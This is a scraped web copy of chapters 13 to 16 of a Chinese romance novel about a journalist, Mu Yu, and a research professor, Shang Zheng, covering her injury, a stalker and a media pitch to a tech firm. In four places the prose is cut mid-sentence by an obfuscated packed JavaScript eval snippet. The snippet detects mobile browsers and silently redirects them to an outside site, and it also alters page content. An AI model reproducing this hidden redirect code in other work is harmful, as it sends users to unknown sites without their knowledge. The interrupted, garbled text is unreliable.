“啊呜!”穆语紧抱着他的手臂,眼含热泪,痛得脚趾抠地。 侧眸见她痛得连鼻头都泛起红晕,商拯面露不忍,将她的手心端在面前轻轻吹气。 穆语埋头揪着他腰间的衣料,掌间传来的清凉触感,缓解了些微疼痛。 商拯熨帖的温度,顺着她的指尖度了过来,她抬眼就能看见他紧蹙的眉心。 顶灯打在他羽扇般的睫毛上,替凝神注视着自己掌心的眸子,投下一小片阴影。 “嗡嗡”商拯内袋的手机再次震动起来,他稍稍松开穆语掏出手机,敛神还未来得及动作,便被她一把夺了过去。 “看什么看,快给我检查!”穆语高声催促,脸颊飘起两朵可疑的红晕。 商拯满脸莫名,一边无视她的抗议,反身招呼刚进门的医师杨杨给她打破伤风。 “用不着吧?”穆语捏着手机惴惴反驳。 “破伤风的潜伏期最短24小时,明天如果被带去截肢,可别怪我没提醒你。”商拯脸色淡淡,口出恶言。 这边杨杨早已手脚麻利地准备好针管药剂,却忍不住插嘴问道:“教授,我很少给活人打针,要不您来?” “什么?!”穆语闻言大惊失色,抬手摇了摇商拯的胳膊,“我不要她打!” “难道你要我打?” 早前翻阅顶创的资料时,穆语分明见过商拯的学历,是有医学背景的双料博士后,打个针那肯定是不在话下,于是坚定地冲他点了点头。 商拯手上没有动作,“行,转身。” 穆语狐疑转身。 “裤子脱了。” “什么?!”穆语捂住屁股,扭头气得吹胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443407|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子瞪眼。 “不知道破伤风打哪?” 摇头。 “屁股。” ***** 穆语捂着自己的臀大肌,一瘸一拐地走出研发中心大楼,“你等等我!” 商拯在路灯下回头,隔着老远瞧她那副夸张又滑稽的样子,没忍好笑地摇了摇头。 “不许笑!你把我的手包成这样,我哥看见又要念经了。”穆语低声不满,“哼,紧赶慢赶的,结果还是耽误了检查。” 在商拯的副驾上坐定,穆语艰难地替自己系上安全带,边打了个大大的呵欠,“说好了,等下万一碰到我哥,你可千万别跟他提我受伤的事。” “他不问我就不说。” “他问了也不能说!” “他问了你自己说。”商拯从后视镜瞅了眼副驾上昏昏欲睡,早已失去大部分战斗力的穆语,将车内的冷气调低。 霓虹灯的光点透过车窗,层层掠过穆语熟睡的侧脸,她歪头扁着嘴睡得很不安稳,像是梦里还在同什么人较劲。 她的脑袋在车子的颠簸下,几次撞上身侧的车窗,蹙眉呜咽着换了几个方向后,猛然向商拯的方向倒去。 余光瞥见,商拯目视前方,一把按住了她的脑袋,指节穿过她乱糟糟的头发,触手却是灼人的温度。 这丫头发烧了?他将车速放慢,抬手拂过她的额头。 确实发烧了。 正准备收手,胳膊却忽地被穆语拽住,下一秒整个人都攀了上来。 商拯一惊,下意识轻踩刹车,就在这时,他注意到车尾一辆奇怪的黑色轿车。 他忽略穆语的动作,眯眼确认后视镜中黑色轿车的车牌号码,如果是顺路,那未免太巧了些。 商拯故意提前下了高架,又在下一个入口重新绕了上去,那辆黑色轿车,当真亦步亦趋地尾随他们,直到两人的车子拐进半山别墅区的大门才算作罢。 他将车子停在路边,回头看了眼越过离合器,正将脑门抵在自己胳膊上呼呼大睡的穆语,出声轻唤,“喂,到家了。” 穆语嘤咛着倒头换了个舒服的姿势,商拯见状扯起嘴角,猛地将胳膊抽出来,眼见她失重,一个激灵坐起身来,才几不可闻地扬眉,露出满意的表情。 “到哪儿了?” “你在发烧,可能是伤口炎症造成的,睡前记得吃药,起床还没退烧的话,就早点过来给黎医生看。”见穆语揉着脑袋睡眼惺忪的样子,商拯锲而不舍地追问,“记住了吗?” “记住了。”穆语迷迷糊糊,难得乖巧地点头答应。 “还有,刚才有辆黑色尼桑一直跟着我们,你知道是什么人吗?”商拯双眉紧锁,忧心忡忡。 穆语清醒过来,咬唇想了又想,大眼睛忽地一闪灵光,“我知道了,可能是我哥派的人?他这次动作也太快了,我早上就那么提了一嘴……” 她摸着下巴喃喃思忖,“我会问问他的,你一个漂亮男孩子也要注意安全,知道吗?如果那车又出现跟着你,马上给我打电话!” 漂亮男孩子?是指他?给她打电话又有什么用? 商拯闻言不加掩饰地轻翻白眼,穆语假装视而不见,下车同他挥手告别。 见她步态虚浮,飘飘摇摇往家门口去的背影,商拯没忍摇下车窗,“明早还没退烧的话我来接你。”——天呐!你在说什么? 话音未落商拯已是追悔莫及,但见穆语转身跳着冲自己挥手,蹙起的眉心复又舒展开来。 穆语边走进家门,边拿出手机,点开消息框中商拯的号码,备注——白雪公主。 木鱼不是用来敲的:阿拯晚安[转圈][转圈][转圈] “上路不要抢蓝,过来控龙啊!说了蓝给射手,会不会躺平?”客厅传来陈亦然气急败坏的声音,穆语定睛一看,那两人果然窝在沙发里,正全神贯注地搓着手机。 她将受伤的那只手背在身后,打算趁他俩不备,悄悄溜回房间,手机却在此时铃声大作。 见他们不约而同地朝自己的方向抬起头来,穆语顾不得看来电显示,慌忙接起电话。 “喂,您好。” “穆记者你好,我是吴佳。” 电话两端的二人,一时间都陷入了沉默。 “我决定接受你们的采访。” 14. 第十四章 木鱼不是用来敲的:阿拯晚安[转圈][转圈][转圈] 商拯:明天几点出门? 木鱼不是用来敲的:七点半 好的——商拯指尖微顿,缓缓输入“晚安”两字,几经犹豫,又轻触几下将“晚安”删除,点击发送。 “商教授?” 商拯闻声,从昨晚与穆语的聊天记录中回过神来,抬眸看向眼前满脸关切的穆谨言。 而后,他点头机械地重复了一遍,方才穆谨言说过的话,“哦,她已经出门了。” “她饭都没吃一口,大早上就不见人影。”穆谨言朝司机老周摆手,示意他稍候,双眉紧锁继续追问,“着急找她,有事?” 商拯面上瞧不出端倪,只是反手打开自己的车门,“也不是什么重要的事,”转身忽然想起那辆,紧跟他车尾的黑色尼桑,“昨晚送穆语回来的时候,有辆车子一直跟着我们,你知道是什么人吗?” 穆谨言眯起眼睛,面色一沉,“有人跟踪你们?” “确切地说,是有人跟踪穆语。” 穆谨言垂眸叉腰,沉吟片刻,“我知道了,我来处理,她现在人在哪?” 商拯挑眉深深瞧了眼穆谨言,拿出手机仔细确认过穆语的状况和所在位置后,又把手机重新揣回了兜里,“根据昨天签署的隐私协议规定,在非必要的情况下,甲方无权向第三方透露乙方的个人信息。” 穆谨言有些上头,扬眉露出一个“开什么玩笑”的表情,“第三方不包括我,我是他哥。” “除了签订合同的双方,其他方都属于‘第三方’,包括但不仅限于亲属。” “呵,你小子……”穆谨言抬手,欲言又止地拍了拍商拯的肩膀,大有刮目相看的意味,“您方判断非必要的依据是?” 此时穆语身体状况良好,正位于她口中“安保极为森严”的电视台媒体中心,已然全情投入到她所热爱的工作当中。 见商拯抿唇冲自己耸了耸肩,一副无可奉告的模样,穆谨言拿起手机,当着这厮的面将电话拨了过去,咬牙一字一顿,“穆语,你在哪?” “在台里!”为了向商拯展示,自己不非得问他也能知道的答案,穆谨言故意将手机听筒的音量调到最大,“哥,我寻思着,今天没得罪你吧!你吃枪药了?” 穆语抱着资料揉了揉鼻子,“你别不是更年期提前,内分泌失调了吧?还是咱家公司营收太差,让你闲着没事干啦?哦……我知道了!是不是恋爱受挫了?我就跟你说过,办公室恋爱需谨慎,就算对象是萌萌……哎?喂?喂!” 穆语这头话还没说完,就被穆谨言挂断了电话,她冲着手机“嘁”了一声,“莫名其妙。” “小语,快!”奚蕊冲进办公室,放下她的重机头盔,甩了甩头发就拉着穆语往外一阵小跑。 “什么啊?你来这么早做什么?”穆语来不及放下资料,就被奚蕊大力扯着上了电梯,作为晚间新闻主播,她的工作时间从来就不包括早晨。 “看热闹啊!你昨天不在不知道,刘主任被上面那几位约谈了,八点整。”奚蕊兴奋地指了指楼顶,又敲了敲手表。 穆语恍然大悟,“我说,办公室怎么一个人影也没有,感情不是我来得太早……” “你不知道昨晚刘主任有多帅!大手一挥,直接抽走了定稿的头条,还撤掉了两条赞助商的广告!那广告部老秃驴的胡子,都快要气得飞上天了!” 奚蕊说着,兴奋地掰起手指,一一细数刘伟人的罪行,“瞒报播出内容、重大事件未上会、占用赞助商广告时长,啧啧啧,如果刘主任真的被开除了,我们在上面还能一起帮忙求求情,你说对吧?” “可是播后的反响是积极的,而且收视率也不错,你看那些公众号,一个个的都在转发,广告部怎么能得了便宜还卖乖呢?”穆语紧了紧怀里的资料,忍不住大翻白眼。 “这不过是他们的常规操作,刘主任跟他们结下的梁子还少呀?恐怕这次,他们是铁了心要卸磨杀驴。”两人紧挨着出了电梯,并肩往会议室方向走去,奚蕊摸着下巴话锋一转,“小语,过几天你抽空帮我练练日语。” “你没事练什么日语?” “下周那个科学技术峰会,组织已经将采访日本巴菲特,安藤英太郎先生的光荣任务,交给我了。”奚蕊说着,得意地拍了拍自己没有二两肉的胸脯。 穆语可不是酸,伸手捏起奚蕊微翘的下巴,左左右右来回打量了半天,“我看您这面相,双目含水、人中泛红,定是犯桃花的征兆。” “不是吧?日本巴菲特?” “你想得美,”穆语松开她的下巴,神秘兮兮地凑到人耳边,“今年陈氏也参与了赞助,前两天陈亦然还在跟我抱怨,说爷爷交给他一堆任务,你可得小心前任碰瓷,要不你考虑一下,把你光荣的采访任务,交给我来完成?” “你想得美。”奚蕊推开她的脑袋,大步流星向前走去。 “求求了,我要是采访到日本巴菲特,就能跟穆谨言吹一年了,光是想想就爽。” 新闻中心19层,会议室的大门被人从里面拉开,倚在门外的众人重心不稳,歪七扭八地在地上乱作一团。 穆语被压在最底下的位置,呻/吟着撑起胳膊,顺着刘伟人的裤脚向上,尴尬地咧嘴一笑。 刘伟人见状,不可置信地摇了摇脑袋,伸腿迈过几位跌坐在地上的同事,头也不回地向电梯口走去。 穆语使出吃奶的劲,才从奚蕊的胳吱窝里爬了出来,直起身就追上去,“主任,主任!” 刘伟人闻声停下脚步,斜睨了她一眼,将手中捏着的稿纸丢给她,“把我这检讨写了,内容应深刻具体,态度应诚实恳切,篇幅不少于三千字,下班前给我。” “您没被开除啊?”穆语闻言面露喜色,“太好了!” 奚蕊双手合十,“谢天谢地,不过您这个月肯定得扣不少工资,您不用担心,大家伙儿都商量好了,咱们庆祝收视率的聚餐标准可以略微下调,去门口那火锅店凑合凑合就行。” 穆语这才后知后觉地反应过来,“不是,凭什么让我写啊?” 刘伟人气结只觉一阵眩晕,扭头将电梯钮按得啪啪响。 “主任,昨天晚上跟您说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443408|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那件事,我全都准备好了,您考虑得怎么样?” 让刘伟人在这种风口浪尖上,再次无视规定,擅自转播他们对话题热点人物吴佳的采访,对他确实不仗义,但若是按照流程上会讨论,何时播出、能否播出,则又是个未知数了。 刘伟人终于回头,拿正眼瞧了瞧穆语,习惯性地摸摸头顶,“按计划来。” “啪啪啪”——就连奚蕊也忍不住抬起手,为刘伟人的勇气鼓起掌来。 莫名地燃起来了! 穆语就差喜极而泣,伴随着奚蕊的掌声,她小嘴一撇,“那这检讨,应该用不着帮您写了吧?反正过了今晚,您可能再也不用来台里了。” ***** 穆语下了公交车,笔直走进车站背面的便利商店,在商店自动门的提示音下,不动声色地抬眼望向右上角的防盗镜。 那人果然鬼鬼祟祟地跟了进来。 她拿起一个饭团,假装仔细确认包装上生产日期的样子,余光却瞥向逐渐朝自己逼近的人影。 她面色如常地拐了个弯,绕去零食区的位置,在确认自己背对店内的监控摄像头后,突然跨步从货架的边沿闪身出来,挡住面前男子的去路。 “你是我哥派来的?”穆语掂了掂手里的饭团,歪头大摇大摆地从那人压低的帽檐下,打量着他的脸,语气不善地说:“你新来的?跟这么近,让本小姐觉得很不爽,远点,知道吗?” 那人不发一言,掀起眼皮阴鸷地盯着她半晌,颔首微微点头,见穆语冲他一笑,露出满意的表情,才松开了从头到尾都紧攥在兜里的拳头。 在柜台付好钱,穆语将手中的饭团塞进那人怀里,招呼他一起走出便利店,“这么热的天气,辛苦你了,麻烦你在这里站好,等等请至少离我50米远,OK?”说完,她面对那人后退几步。 此处是一条距离研发中心不远的,人流稀疏、相对狭窄的林荫小道,穆语看了眼时间,转身数着步数,不紧不慢地向前走去,转过街角前,又反身冲那人比画一个保持距离的手势。 待进入男子目所不及的地方,穆语猛地抬脚拔足狂奔,飞快朝研发中心的方向冲去。 沈大金捏着兜里的饭团,不屑地扯了扯嘴角,眼神陡然变得锐利起来,“妈的,耍我。” 他只消片刻便反应过来,抬脚向前追了上去,拐过街角,撞见穆语惊惶出逃的背影,他仿若捕食者看到猎物般,眼神透出兴奋的情绪。 穆语心知拖不了太久,卯着一股劲,头也不敢回地向前飞奔。直到听见身后传来逐渐逼近的脚步声,泪水才不听使唤地涌上来,模糊了脚下凹凸不平的林荫步道。 她无视门口保安的呵斥声,埋首冲进研发中心大院,脚下没有丝毫减速的意思,进入大楼内,才敢回头朝外张望,却未料“砰”得一头撞上了来人。 “怎么了?”商拯抬手,稳住穆语簌簌发抖的肩膀,抬眼往她回头的方向望去。 穆语眨开眼中模糊视线的泪光,待看清来人,神经才放松下来,一屁股跌坐在地上。 “车站前的便利店,监控拍到那人的样子了。” 15. 第十五章 商拯将手中盛着温水的纸杯递给穆语,“感觉好点了吗?” 见她方才强装镇定,在电话中同穆谨言复述事情经过的样子,商拯开始对早晨关于她安全的判断,感到有些自责。 穆语还未退烧,经过剧烈运动后的脸颊红扑扑的,接过杯子的指尖却很是冰凉。 她弯起眼睛冲他感激一笑,反过来安慰道,“没关系,我哥派人去便利店取了监控,很快就能查到那人的底细。” “……你还在发烧,多喝热水。”商拯说着,不自然地清了清喉咙,“昨天,不是说好一早接你过来吗?” “说好?”穆语捧着纸杯微微发愣,忽又难以置信地睁大眼睛,“你去我家接我了?” “顺路。”忙着否认什么似的,商拯不假思索。 穆语原本飞扬的神情黯淡下去,眼中满是抱歉,“对不起,电视台有份很重要的材料,得提前准备好,我今早一着急就……” 她垂眸不好意思地搓了搓掌心的纸杯,没想牵动伤口,痛得倒吸一口冷气。 商拯闻声弹起身来,抽出白袍口袋中的大手向她伸去,“我看。” 穆语温顺地将自己贴着创可贴手心递了过去,望着商拯近在咫尺的侧脸左思右想,半天才鼓起勇气,小声抱怨起来,“可是,昨天你说‘好的’,好的?……哪有这样跟人‘说好’的,那得我也说‘好的’我们才能算说好。” 微风携着夏日草木的香气,钻进半开的窗户缝隙,兜着圈掀起帘角,商拯额间碎发轻动,俯眉直看向她的眼睛,“对不起,我下次会注意。” 像是没预见他的回答,穆语腾得红了脸,抢先挪开回望他的视线,“那个,知、知错就好!” 趁商拯困惑低头,重新替她检查伤口的间隙,穆语转转眼珠子,状似无意地开口问道:“嗯,李总今天在公司吗?” “找他做什么?”商拯松开她的手,抬头反问。 穆语高举受伤的手心,拖着椅子凑上前去满脸谄媚,“我们电视台有个项目,想给贵司介绍介绍。” 商拯无视痛得龇牙咧嘴的穆语,手上来回折叠着纱布,头也不抬地替她的伤口消了毒,“危险系数多高的项目?” 穆语暂停伸长脖子对自己手心吹气的动作,仰面反驳道:“怎么可能会有危险?又不是什么生存探险类节目。” 商拯懒懒掀起那对,同发线一样漆黑的眸子,探究地打量着面前的穆语,半晌才妥协地叹了口气,“他上午在公司,但你得先做完检查。” “你不会跟我一起去吧?” “不会。” “那我就放心了。”穆语嘟哝着垂下眸子,出神地盯着在自己掌心上下翻飞着包扎的修长手指。 手指的主人却停下动作,“我会影响到你们吗?” 只见穆语单手托腮,抵在实验台边上,“你好像对我们的工作有一些偏见,我希望李总能够更加客观地判断我带来的项目。” “呵。” 印着树影的光线,跃过办公室开阔的窗棂,毫不吝啬地铺洒在穆语周身,光点在她睫毛上轻跳,商拯眨眼的工夫便晃了神,蹙眉暗自思忖——不让他去,他偏要去。 几经周折,穆语的观察方案才总算确定下来。 根据双方签署的隐私协议约定,芯片进入穆语体内的情况,只有顶创极少数核心人员知晓。 对于保密条款中,各项近乎苛刻的约束条件,穆语表示非常遗憾。 黎薇宁见状,轻笑着摇了摇头,“小语,这一方面确实是为了公司的利益考虑,但另一方面,也是出于对你生活的影响考虑。” 穆语点头笑道:“我开玩笑的,我一定全力配合,争取早日为国家的科学进步作出贡献。” “并不需要你贡献。”商拯冷言截断穆语的慷慨陈辞,合起手中的材料,递给一旁掩唇笑开的黎薇宁,抬头补充到,“我知道你很忙,但是请你每周至少过来观察两次。” “我可以每天都来吗?” “……随便你。” ***** 商拯:有事,办公室等你。 李珀收到商拯的消息,以为有什么要紧事,中途就从会上溜了出来,一路小跑回到办公室。 “穆小姐?”见着来人,他讶异上前,正准备同穆语亲切握手,就被商拯从中挡了回去,这才注意到穆语掌间缠着的纱布,“哎呀,这怎么受伤了?” 穆语忙伸出另一只手,艰难越过商拯,同李珀握了握,抿唇微笑,“小伤不碍事。” “芯片出什么问题了?”李珀扭头对商拯。 “没问题,”穆语摆手,将怀中事先整理好的文件夹递给李珀,“是我有事找您。” 李珀挑眉看清文件夹上电视台的标志,恍然大悟到,“哦!你们电视台这事我知道,之前媒体中心的刘主任联系过我,专访的时间已经叫公关部去协调了,暂时还没安排下来。” 听他这么说,穆语了然地点了点头,想到刘伟人居然在李珀这里吃了闭门羹,不由心下暗爽,再抬头看向他时眼中多了些拜服。 毕竟就算是刘伟人有求于人,能轻松摆脱那条老八爪鱼的纠缠,也得真有两下子才行。 “李总,我不是为专访的事情来的。” 穆语胸有成竹,眉眼间不似日常,反透出些成熟女人的稳重,“即使我们新闻部的项目组,对顶创做过再多调研,于专业范畴内的业务认知,也只能流于表面,这种情况下做出的方案,想必很难打动你们,所以从一开始,我就反对这个项目。” 李珀心想这小姑娘有点意思,抬眸瞥了眼商拯,边压下心中的好奇,边招呼穆语坐下说。 “今年为了响应国家号召,电视台集中策划了一系列科教题材的节目,我们新闻部同样有一些想法需要实现。但采访的前提,必须建立在双方良好的独立与平衡性上,这中间不仅需要信任感,更需要构建信息对称下,你来我往的交流感,而我们对高新技术专业几乎一无所知,就算再努力,也只能勉强成为一个合格的聆听者,却很难做好那个具有正确导向性的传播者。” 听完穆语的一番话,李珀终于敛容翻开手中的文件夹,轻念表头醒目的项目标题,“‘忙时’?” 聊起项目穆语两眼放光,屁股朝外挪了又挪,身体前倾恨不能怼在李珀脸上,“是的李总,我带给您的是我们新闻部联合新媒体中心的合作项目,这可是绝对的业内首创、超级独家。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443409|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“直播?”李珀顺着条理清晰的副标题一路扫了下去,饶有兴味地摸着下巴上刚冒出点头的青胡茬,“这两个网站我知道,想法倒是挺新鲜。” “我们电视台的新媒体中心,每年都会同各大网络平台,签署一系列战略合作协议,方案上提出的,只是我们根据项目受众,预选出的两家直播平台而已——青年群体活跃的C站和流量优势显著的浪吧,根据后期项目落地情况,也可以有其他选择。” 穆语话锋一转,自信将目光从李珀的眉心转向他的眼睛,直视道:“如您所见,自立项开始,便是我们在选择平台,而不是被平台选择。” 穆语弯着眼睛一副人畜无害的样子,倏然将谈话反客为主,李珀缩了缩脖子轻笑出声,重新打量起眼前的女孩,“穆小姐,不,穆记者的意思是,现在也是你们在选择我们喽?” “您可以这样理解,”穆语不加掩饰,露出明晃晃的歹意,“我也是看在阿拯的面子上,有好事当然得想着你们。” 没料这女人竟反手跟他来了套“情分与本分”的双面夹击,阿拯?这家伙可以啊? 李珀飞快向商拯递去一个揶揄的眼神,复又扶额苦笑起来,自己刚在穆谨言那个老狐狸面前栽过跟头,难不成还得在他妹妹这只小狐狸面前再栽一回?这不可能! 李珀迅速抓住方案漏洞,牵起嘴角轻松反击,“穆记者,在实验室中布置直播摄像头,24小时不间断播出,如何保证我们的核心技术不被窃取?这风险太大,公司可承担不起。” 穆语眼下只觉李珀过于轻敌,面上笑容更盛,“李总,‘忙时’是指在通讯系统中,24小时内业务体量最大的那60分钟。” 她像是根本没打算回答他的问题,拐弯抹角地将重点转移开来,“拟定与顶创同时参与项目的,还有世界50强企业合讯,以及国内最大造星工厂嘉木互娱,你们就象征着那公众视野中最顶尖、最具有神秘感的60分钟,我们首先要保证的,当然是企业的核心利益。” 与业务涉猎甚广的龙头企业“合讯”,还有以影视帝国著称的“嘉木互娱”相比,自家的小公司确实显得有些微不足道,但论专业性,他们这个微不足道的小公司,却能轻易撼动国内乃至全球科技领域的步伐。 “直播信号经过电视台流媒体中心的全程加密处理,转播画面的清晰度将维持在观感舒适与无法高度还原之间,我们不仅能保证顶创的安全,还能保证气死任何妄图窃取顶创机密的对象。” 见李珀的态度有所松动,穆语再接再厉,“李总,电视台有信心与企业达成双赢,意愿也只是做好一个将企业带入公众视野的媒介罢了,既然在专业上,我们很难达到与贵司同样的高度,不如最大限度地调动全网声量,让企业暂时步下神坛,直面公众,相信我们都会有所收获。” 语毕,李珀饶有兴味地将文件夹放回桌面,看向穆语的眼光中多了些不言而喻的欣赏,“穆总知道自己,损失了您这么个人才吗?” “当然,穆谨言做梦都在哭着求我帮他。”穆语一本正经地将没受伤的手掌递给李珀,“那么李总,合作愉快。” 李珀正准备再次同穆语亲切握手,却又被商拯从中挡了过去,“我反对。” 16. 第十六章 “科研工作区别于娱乐产业,不能轻易拿去消费。”商拯目光在就差一拍即合的李珀与穆语之间来回逡巡,一句话便将两人即将达成的共识,给轻易推翻。 几个字眼方一落地,立刻勾起穆语强烈的叛逆情绪,她回眸睨了眼商拯,皮笑肉不笑地开了口,“虽然我早料到商教授会另有高见,但没想到教授的见解,竟是如此的——抱、残、守、缺。” 不知自己哪句话又得罪了她,穆语眼下呼哧呼哧,气得像只炸了毛的小猪。 商拯望着她,眼底有笑意闪过,立场仍旧坚定,“我不否认,电视台的企划可能会为公司带来一些积极影响,但科研工作不是儿戏,必须严肃对待。” 穆语反身直视商拯,眼中火花夹带闪电,“原来在教授眼中,我们的媒体工作只是为了‘娱乐’和‘消费’大众?不过这样一来,就好解释您对我方工作‘儿戏’的判断了。” “你在曲解我的意思。”商拯轻叹一声。 “你还践踏我的劳动成果呢……”穆语阴阳怪气。 李珀见二人你来我往好不热烈,连忙插嘴打起圆场,“二位,有话好说,买卖不成仁义在。” “买卖不成?”穆语音量陡然升高,方才努力经营地自持形象,随之轰然倒塌。 “穆记者,这事如果商总反对,那么可行性就——”李珀来了兴致,一本正经地冲穆语比画了个鸭蛋,“零。” 虽说穆语对自己的专业是志在必得,但在商务方面,她却顶多算是只有点小聪明的菜鸟,听李珀这么说,心下不由慌了神,眼神立刻透露出浓浓的不安,再出口便已底气全无,“他不是不管市场吗?” “可他是股东啊?”李珀努嘴挑眉,循循善诱,“你看,咱这方案里的附加推广,是不是还有……进一步优化的空间?” 穆语哪里还听得进李珀的鬼话,饱含怨念地瞥向身边的商拯,只见他长腿交叠双手插兜,正满脸兴味地瞧着自己,她咬牙心说:叫你不来你偏来,来了就知道坏我好事。 对面两人一个鼻孔出气,穆语寡不敌众,只好逐个击破。 她调整呼吸,迅速锁定目标,打算来个先礼后兵,“商教授,您可能不太了解我们新闻中心的日常工作。” 穆语抬头,冲他露出八颗闪亮的大白牙,“现今大大小小的自媒体那是遍地开花,各门各路的专业水平那是良莠不齐,您这才会对我们传统媒体行业也代入了那么一些,不明智的小偏见,我理解,非常理解。” 商拯见她这副面孔,不由心情大好,但立场依旧毫不动摇,“刚才我所说的话语中,并没有表达任何对媒体工作的偏见,我们与其在字眼上纠结,不如做点对彼此的工作效率,都有帮助的事。” “什、什么事?”穆语开始有了一种,强烈的、被牵着鼻子走的、不祥的预感。 “我们表达诉求,你来想办法解决。” 他说得没错,但总觉得哪里不对,穆语蹙眉犹疑地点头,发出“嗯”的声音。 “‘合讯的茶水间’、‘嘉木互娱的练习室’?”商拯指尖捻着文件夹的页脚,瞄了眼另外两家的选题,半是无奈地轻笑出声,“我的团队每面对一个新的课题,组内的研究员需要投入自己生活95%乃至以上的精力,才有可能将课题达到完成而非突破的程度。” 这么变态?穆语缩起脖子暗自吐槽。 “另外两家公司,或许也存在着当即需要面对的困境,但在我们的实验室,面对的问题是动态、不可控的,一个疏忽就会导致整体结果的失败,在这种需要高度集中的工作环境中,给研究员额外施加来自外部的压力,我不仅担心会对课题本身产生影响,更担心对研究员身心健康的影响。” 来自甲方的诡辩令穆语一时间哑口无言,她歪头思索,自己怎么可能向他保证,解决研究员身心健康的问题? “你这是故意刁难人,就像卖游戏机的商家,怎么能跟买家保证游戏机不会影响孩子的学习成绩呢?”穆语不甘心地出声抗议。 商拯挑眉轻松驳回,“是的,所以我决定不给孩子买游戏机。” “那你也得问问孩子的意见吧?我觉得只要孩子自己有信心,为什么不能让他在保持学习成绩的同时,拥有玩游戏机的快乐呢?” “你怎么知道玩游戏带给孩子一定是快乐?”商拯不为所动。 李珀倒是有些坐不住了,“哎?二位这怎么还上升到孩子的教育问题上了?” “李总,如果您认为我们的企划有一定可行的价值,能不能拜托您找一个更专业的人来跟我们探讨?”穆语没好气地斜了商拯一眼,这个害问题又僵持下来的元凶。 李珀也是纳闷,平时从不过问商务事宜的商拯,这次居然跟他们上纲上线,思及此处,也有样学样地朝那厮投去一个没好气的眼神,起身按下内线,“叫沈经理到我办公室。” 穆语闻声,恨不能生出条尾巴来翘上天去,小人得志般用鼻孔直冲着商拯。 “穆语。”商拯沉沉出声。 见他点名,穆语勉为其难地挪了挪屁股,眉角高扬无声答道:叫你爹我有事? “实验室是我的地盘,我的地盘听我的。” ***** “哥,大哥!”从李珀办公室出来,穆语一路小跑,上前紧扯着商拯的胳膊不放,“爹!您是我爹还不行吗?” 一阵拖行后,对方终于忍无可忍,“穆语,我实验室有事。” “什么事比我还重要!” 商拯张嘴竟一时语塞,二人对视片刻,不约而同地陷入了尴尬的沉默。 穆语也是没料到他的反应,回望他的眸子只觉心跳加速,血液一股脑冲向头顶,脸颊腾得着起火来。 手机“嗡嗡”的在商拯衣袋内侧雀跃,想起穆语早上的烧不知退没退下,他蹙眉鬼使神差地抬手,将掌心覆上她的额头。 原本并不打紧,他这一上手,穆语腿软脚下一空,周遭的事物打着圈地将自己团团围住,商拯的呼唤声好似从窗外遥远的云端处飘来,她身形难以自控,只得轻阖眼睑飘摇着向后坠去。 三脚兽爱好者协会(89)—— 韩信打针不打野:报!!!三脚兽怀里抱着个女的冲进了医务中心! 一石激起千层浪,顶创公司内部,一支以商拯为研究对象的秘密八卦群组,顷刻间便过年似的欢腾异常。 沈姐:什么?女的?眼前一黑.gif 教授的狗:什么?女的?眼前一黑.gif 弯的Fong:什么?女的?眼前一黑.gif …… 楚楚是菜鸟:这题我会!前两天有人拍到照片,我还存了图(JPG01)(JPG02)(JPG03) 被再次上传到群组的照片中,穆语满身狼狈,两只拳头紧撺在裤缝边,缩着肩膀仰起脸来,上面一双眸子盈满泪光,大体是过于用力忍住不哭,扁着的嘴巴跟鼻子皱在一起——是真的丑。 教授的狗:辟谣!这是商教授在教训外甥女! 第二我不叫魏:辟谣!商教授教训人不是这表情! 懒杨杨:辟谣!我给女主角打过屁股针! 弯的Fong:? 沈姐:? 韩信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443410|169405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打针不打野:啥玩意? 懒杨杨:人家不是外甥女[doge] …… 穆语梦见自己身陷蓬松的云层,日光晒在她裸露的脚踝,暖意顺着四肢缓慢地爬上身体,将她的周身尽数包裹起来。 渐渐地,舒适感随着温度的升高消失殆尽,徒留燥热挟着湿腻的水汽,将她越裹越紧,身下的云层像是被化开的棉花糖,变得不再扎实,她挣扎着想要坐起,直至精疲力竭却如何也动弹不得。 商拯听见里间的动静,入内掀开帘子,俯身轻轻拍了拍她的头顶,“穆语。” 